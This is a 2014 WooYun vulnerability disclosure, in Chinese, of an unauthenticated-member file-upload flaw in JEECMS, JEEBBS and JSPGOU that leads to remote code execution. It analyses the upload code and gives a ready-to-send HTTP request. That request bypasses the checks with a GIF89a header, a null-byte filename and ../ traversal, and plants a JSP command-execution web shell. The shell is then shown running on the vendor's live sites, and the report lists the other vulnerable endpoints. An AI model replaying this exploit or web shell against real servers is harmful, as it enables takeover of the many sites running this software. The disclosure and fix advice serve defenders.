当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-078307

漏洞标题:JEECMS|JEEBBS|JSPGOU 前台getshell(高危)

相关厂商:JEECMS

漏洞作者: loopx9

提交时间:2014-10-04 18:15

修复时间:2015-01-02 18:16

公开时间:2015-01-02 18:16

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-04: 细节已通知厂商并且等待厂商处理中
2014-10-09: 厂商已经确认,细节仅向厂商公开
2014-10-12: 细节向第三方安全合作伙伴开放
2014-12-03: 细节向核心白帽子及相关领域专家公开
2014-12-13: 细节向普通白帽子公开
2014-12-23: 细节向实习白帽子公开
2015-01-02: 细节向公众公开

简要描述:

国庆大礼包.

详细说明:

国庆闲来无事,下载jeecms源码来看了下,没想到捡了个漏。
0x1 漏洞分析
com\jeecms\cms\action\member\ImageUploadAct.java,上传请求URL:/member/o_upload_image.jspx

...
@RequestMapping("/member/o_upload_image.jspx")
public String execute(
String filename,
Integer uploadNum,
Boolean mark,
@RequestParam(value = "uploadFile", required = false) MultipartFile file,
HttpServletRequest request, ModelMap model) {
WebCoreErrors errors = validate(filename, file, request); //函数validate检查后缀以及文件头
CmsSite site = CmsUtils.getSite(request);
CmsUser user = CmsUtils.getUser(request);
FrontUtils.frontData(request, model, site);
MemberConfig mcfg = site.getConfig().getMemberConfig();
if (!mcfg.isMemberOn()) {
return FrontUtils.showMessage(request, model, "member.memberClose");
}
if (user == null) {
return FrontUtils.showLogin(request, model, site);
}
if (errors.hasErrors()) {
model.addAttribute(ERROR, errors.getErrors().get(0));
return FrontUtils.getTplPath(request, site.getSolutionPath(),
TPLDIR_MEMBER, RESULT_PAGE);
}
MarkConfig conf = site.getConfig().getMarkConfig();
if (mark == null) {
mark = conf.getOn();
}
String origName = file.getOriginalFilename();
String ext = FilenameUtils.getExtension(origName).toLowerCase(
Locale.ENGLISH);
try {
String fileUrl;
if (site.getConfig().getUploadToDb()) {
....好像是文件存进数据库,这段跳过
}
} else if (site.getUploadFtp() != null) {
.....ftp上传相关,跳过
}
} else {
String ctx = request.getContextPath();
if (!StringUtils.isBlank(filename)) { //filename为表单传进,可控
filename = filename.substring(ctx.length());
if (mark) { //mark 为表单传进,可控
File tempFile = mark(file, conf);
fileUrl = fileRepository.storeByFilename(filename,tempFile);
//调用storeByFilename存储文件,filename可控,第一想到的就是00截断了
tempFile.delete();
} else { //mark 不用赋值也可以,都调用了fileRepository.storeByFilename
fileUrl = fileRepository
.storeByFilename(filename, file);
}
} else { //如果filename为空,则调用fileRepository.storeByExt ,后缀保留,文件重命名
if (mark) {
File tempFile = mark(file, conf);
fileUrl = fileRepository.storeByExt(USER_IMG_PATH, ext, tempFile);
tempFile.delete();
} else {
fileUrl = fileRepository.storeByExt(USER_IMG_PATH, ext, file);
}
// 加上部署路径
fileUrl = ctx + fileUrl;
}
}
model.addAttribute("uploadPath", fileUrl);
model.addAttribute("uploadNum", uploadNum);
} catch (IllegalStateException e) {
model.addAttribute(ERROR, e.getMessage());
log.error("upload file error!", e);
} catch (IOException e) {
model.addAttribute(ERROR, e.getMessage());
log.error("upload file error!", e);
} catch (Exception e) {
model.addAttribute(ERROR, e.getMessage());
log.error("upload file error!", e);
}
return FrontUtils.getTplPath(request, site.getSolutionPath(),
TPLDIR_MEMBER, RESULT_PAGE);
}
...


0x02 绕过检查:
文件头可使用GIF89a绕过,后缀检查部分:
看代码使用org.apache.commons.io.FilenameUtils.getExtension获取后缀,跟进getExtension方法,发现调用indexOfExtension

public static int indexOfExtension(String filename)
{
if (filename == null) {
return -1;
}
int extensionPos = filename.lastIndexOf('.'); //可以看出获取后缀的方式是截取最后一个点号的部分,那么如果filename为1.jsp%00.jpg ,就能bypass后缀检查了.
int lastSeparator = indexOfLastSeparator(filename);
return lastSeparator > extensionPos ? -1 : extensionPos;
}

fileRepository.storeByFilename最终调用org.apache.commons.io.FileUtils.copyFile导致截断,与php copy函数类似,截断貌似发生在系统层面
同样存在问题的还有一处:com\jeecms\cms\action\member\ContributeAct.java,上传请求URL:/member/o_upload_media.jspx

media.png

此处可利用截断上传任意文件.
JSPGOU也存在相同问题:

jspgou.png

漏洞证明:

(以bbs.jeecms.com为例)
tips:由于jsp、jspx后缀都被web.xml中的配置过滤了,即便上传jsp也不能解析,官网使用tomcat容器,项目部署在webapps/ROOT下
所以只能利用上传跳到上一级目录,也就是webapps下,这样jsp才能成功解析,上传过程会自动创建目录,方便快捷.
注册用户,上传头像抓包

POST /member/o_upload_image.jspx HTTP/1.1
Host: bbs.jeecms.com
Proxy-Connection: keep-alive
Content-Length: 937
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://bbs.jeecms.com
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.103 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPmHBUvQPGQdo2rN3
Referer: http://demo.jeecms.com/member/contribute_add.jspx
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8,ko;q=0.6
Cookie: JSESSIONID=DD2D9328CB2B7B282A1B8EB8DDD82C03; JSESSIONID=D504FA6E4E72497B7BAF703873EFC1F5; clientlanguage=zh_CN; CNZZDATA1097297=cnzz_eid%3D1834197461-1412397667-http%253A%252F%252Fjeecms.com%252F%26ntime%3D1412404613
------WebKitFormBoundaryPmHBUvQPGQdo2rN3
Content-Disposition: form-data; name="uploadFile"; filename="1.jpg"
Content-Type: image/jpeg
GIF89a<FORM METHOD=GET ACTION="">
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
------WebKitFormBoundaryPmHBUvQPGQdo2rN3
Content-Disposition: form-data; name="filename"
../.test/p.jsp .jpg //跳出项目目录,空格为0x00
------WebKitFormBoundaryPmHBUvQPGQdo2rN3--

00.png


http://bbs.jeecms.com/.test/p.jsp?cmd=id
http://demo.jeecms.com/.test/p.jsp(PermGen space不够了)

cmd.png


PS:除此之外,还可以上传web.xml覆盖,或是上传class覆盖,因为可能需要重启web容器,暂不采用.各位大神还有什么猥琐的利用方式,烦请告之.
总结:
jeecms、jeebbs :
/member/o_upload_media.jspx (低版本的没有)
/member/o_upload_image.jspx
后台:
/common/o_upload_image.do
/content/o_upload_media.do
/plug/o_upload.do
涉及文件:
com\jeecms\cms\action\member\ContributeAct.java
com\jeecms\cms\action\member\ImageUploadAct.java
com\jeecms\cms\action\admin\ImageUploadAct.java
com\jeecms\cms\action\admin\main\ContentAct.java
com\jeecms\cms\action\admin\assist\PlugAct.java
jeegou:
/member/common/o_upload_image.jspx
下载旧版本的jeecms源码看,发现com\jeecms\cms\action\member\ImageUploadAct.java很早就有了,意味着这个洞有一段时间了.
jeecms在国内算是比较流行的java建站系统,政府机构、学校、企业,用户众多,此次漏洞该算是通杀的了,只要开放用户注册,基本就沦陷了.

修复方案:

检查所有涉及上传的操作,禁止拼接路径.

版权声明:转载请注明来源 loopx9@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-10-09 10:36

厂商回复:

感谢对jeecms系列软件提出的bug,我们会以最快的速度修复

最新状态:

暂无